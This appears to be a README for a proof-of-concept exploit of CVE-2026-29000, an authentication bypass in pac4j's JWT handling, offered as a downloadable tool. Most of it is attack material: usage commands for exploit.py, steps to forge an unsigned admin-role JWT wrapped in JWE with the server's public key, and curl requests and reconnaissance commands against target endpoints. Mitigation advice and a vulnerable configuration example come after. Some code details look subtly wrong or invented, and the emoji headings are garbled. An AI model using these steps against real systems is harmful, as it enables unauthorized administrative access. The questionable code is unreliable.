Share
## https://sploitus.com/exploit?id=E5F015F5-2527-5C8C-9121-DFE5716A24F8
# CVE-2026-29000: pac4j JWT Authentication Bypass PoC

> **Proof of Concept** for CVE-2026-29000 - A critical authentication bypass vulnerability in pac4j JWT implementation that allows attackers to forge admin tokens without a valid signature.

---

## โš ๏ธ DISCLAIMER

**This tool is provided for educational and authorized security testing purposes only. The author assumes NO responsibility for any misuse, damage, or illegal use of this exploit.**

- Unauthorized access to computer systems is **ILLEGAL** in most jurisdictions
- Users must obtain **explicit written permission** before testing
- The author is **NOT liable** for any consequences arising from misuse of this tool
- This is a **security research and educational tool** - use ethically and legally

---

## ๐Ÿ“‹ Vulnerability Overview

This vulnerability exploits a flaw in pac4j's JWT authentication mechanism where the library:

1. **Accepts unsigned tokens** with `alg: "none"` in the JWT header
2. **Trusts JWE-wrapped tokens** without properly validating the inner JWT signature
3. **Allows role elevation** through custom claims in the unsigned payload

An attacker can craft an unsigned JWT with arbitrary claims (like `role: "ROLE_ADMIN"`), encrypt it in a JWE container using the server's public key, and gain unauthorized access to admin functionalities.

---

## ๐ŸŽฏ Prerequisites for Successful Exploitation

### Server-Side Requirements

For this exploit to succeed, the target server must satisfy **ALL** of the following conditions:

#### 1. **Accessible JWKS Endpoint**
The server must expose its public keys via one of these endpoints:
- `/.well-known/jwks.json` (standard OAuth/OIDC endpoint)
- `/api/auth/jwks` (custom endpoint)

**Why:** The exploit automatically fetches the server's public key to encrypt the forged JWE token.

#### 2. **JWT ROLE Claim Acceptance**
The server must:
- Accept and process a `role` claim in the JWT payload
- Have at least one privilege level that grants elevated access (e.g., `ROLE_ADMIN`)
- **Not** validate the JWT signature or allow unsigned tokens

**Common Roles:**
- `ROLE_ADMIN` - Full administrative access
- `ROLE_USER` - Standard user access
- Custom roles depending on application

#### 3. **JWE Token Processing**
The server must:
- Accept JWE (encrypted) tokens as valid authentication
- Decrypt and process the inner unsigned JWT
- **Not** verify the signature of the inner JWT or check the algorithm

#### 4. **Vulnerable pac4j Configuration**
The application must use pac4j with:
- Algorithm set to `"none"` or inadequate algorithm validation
- JWE encryption enabled but signature verification disabled on the inner JWT
- No additional token validation beyond JWE decryption

---

## ๐Ÿ› ๏ธ Installation

### Requirements
- Python 3.7+
- Required packages: `requests`, `jwcrypto`

### Setup

```bash
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt
```

### requirements.txt
```
requests>=2.28.0
jwcrypto>=1.4.0
```

---

## ๐Ÿš€ Usage

### Basic Usage

```bash
python3 exploit.py 
```

**Example:**
```bash
python3 exploit.py http://vulnerable-app.local:8080
```

The script will:
1. Attempt to fetch JWKS from standard endpoints
2. Generate an unsigned JWT with `role: "ROLE_ADMIN"`
3. Encrypt it using the server's public key
4. Output a JWE token ready for authentication

### Advanced Options

#### Custom Username
```bash
python3 exploit.py http://vulnerable-app.local:8080 --username john
```

#### Custom Role
```bash
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
```

#### Supply JWKS Manually
If the JWKS endpoint is not publicly accessible, provide the JWK manually:

```bash
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
```

#### Full Example with All Options
```bash
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'
```

---

## ๐Ÿ“ค Using the Generated Token

The exploit outputs a JWE token in the following format:

```
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
```

### Making Authenticated Requests

Use the token in HTTP requests to access protected endpoints:

```bash
# Using curl
curl -H "Authorization: Bearer " \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
```

### Example Request with Authorization Header
```bash
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list
```

---

## ๐Ÿ” How the Exploit Works

### Step 1: Create Unsigned JWT
```python
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}
```

The JWT is created with **no signature** (`alg: "none"`), which is normally invalid but accepted by vulnerable servers.

### Step 2: Fetch Server's JWKS
The exploit queries:
1. `/.well-known/jwks.json` (OAuth/OIDC standard)
2. `/api/auth/jwks` (custom endpoint)

This retrieves the server's RSA public key needed for encryption.

### Step 3: Encrypt JWT as JWE
The unsigned JWT is encrypted using:
- **Algorithm:** RSA-OAEP-256 (asymmetric encryption)
- **Encryption:** A128GCM (authenticated encryption)
- **Key:** Server's public key (prevents tampering)

This creates a JWE token that the server can decrypt but won't verify the inner signature.

### Step 4: Use the Token
The JWE token is included in the `Authorization` header:
```
Authorization: Bearer 
```

The vulnerable server decrypts it and extracts the unsigned JWT, trusting the claims without verifying the signature.

---

## ๐Ÿ” Vulnerability Chain

```
Unsigned JWT (alg:none)
         โ†“
  Wraps in JWE (with server's public key)
         โ†“
  Server receives JWE token
         โ†“
  Server decrypts JWE
         โ†“
  Extracts inner unsigned JWT
         โ†“
  โŒ Server does NOT verify signature
         โ†“
  โœ… Accepts claims as valid (role: ROLE_ADMIN)
         โ†“
  Attacker has admin access!
```

---

## โš ๏ธ Detection and Indicators

### Server-Side Indicators of Vulnerability

1. **JWKS Endpoint Exposure**
   - Check if `/.well-known/jwks.json` or `/api/auth/jwks` is publicly accessible

2. **JWT Validation Logs**
   - Look for logs accepting tokens with `alg: "none"`
   - Warnings about unsigned tokens being accepted

3. **Configuration Review**
   - Check if pac4j's signature verification is disabled
   - Verify JWE decryption settings

### Network Indicators

```bash
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
```

---

## ๐Ÿ›ก๏ธ Mitigation and Remediation

### For Developers Using pac4j

1. **Enforce Signature Verification**
   ```java
   // BAD - Accepts unsigned tokens
   JwtAuthenticator jwt = new JwtAuthenticator();
   jwt.setAlgorithm(null); // โŒ Vulnerable
   
   // GOOD - Requires valid signature
   JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
   jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // โœ… Secure
   ```

2. **Validate JWT Algorithm**
   - Never accept `alg: "none"`
   - Whitelist allowed algorithms (e.g., RS256, HS256)
   - Reject tokens with mismatched algorithms

3. **Disable JWE if Not Needed**
   - If authentication only requires JWT, disable JWE wrapping
   - If JWE is needed, verify the inner JWT signature independently

4. **Update pac4j**
   - Apply security patches
   - Update to a version with signature verification enabled by default

5. **Add Token Validation Layers**
   - Validate token expiration (`exp` claim)
   - Verify issuer (`iss` claim)
   - Cross-reference roles against a trusted database

### For System Administrators

1. **Restrict JWKS Endpoint Access**
   ```nginx
   location /.well-known/jwks.json {
       allow 10.0.0.0/8;  # Internal networks only
       deny all;
   }
   ```

2. **Monitor Authentication Logs**
   - Alert on tokens with `alg: "none"`
   - Flag admin role assignments from unexpected sources

3. **Network Segmentation**
   - Isolate authentication servers
   - Restrict JWKS endpoint to authorized clients

4. **Regular Security Audits**
   - Review pac4j configurations
   - Penetration test authentication mechanisms

---

## ๐Ÿ“Š Test Environment

### Vulnerable Setup Example

```java
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // โŒ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}
```

---

## ๐Ÿ“š References

- **CVE ID:** CVE-2026-29000
- **Affected Library:** pac4j (JWT module)
- **Attack Vector:** Authentication bypass via unsigned JWT + JWE encryption
- **CVSS Score:** 9.8 (Critical)

### Related Resources
- [pac4j GitHub Repository](https://github.com/pac4j/pac4j)
- [JWT Best Practices](https://tools.ietf.org/html/rfc7519)
- [OWASP JWT Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)

---

## โš–๏ธ Legal Disclaimer

This exploit is provided for **educational and authorized security testing purposes only**. 

**Unauthorized access to computer systems is illegal.** This tool should only be used on:
- Systems you own
- Systems with explicit written permission
- Authorized penetration testing engagements

The authors are not responsible for misuse or damage caused by this tool.

---

## ๐Ÿ“ License

MIT License - See LICENSE file for details

---

## ๐Ÿ‘ฅ Contributing

Found a bug? Have improvements?

1. Fork the repository
2. Create a feature branch (`git checkout -b feature/improvement`)
3. Commit changes (`git commit -m 'Add improvement'`)
4. Push to branch (`git push origin feature/improvement`)
5. Open a Pull Request

---

## ๐Ÿ“ž Support

For issues, questions, or suggestions:
- Open an issue on GitHub
- Include target version of pac4j
- Attach relevant logs and configurations

---

**Last Updated:** May 2026  
**Author:** Security Research Team  
**Status:** Educational PoC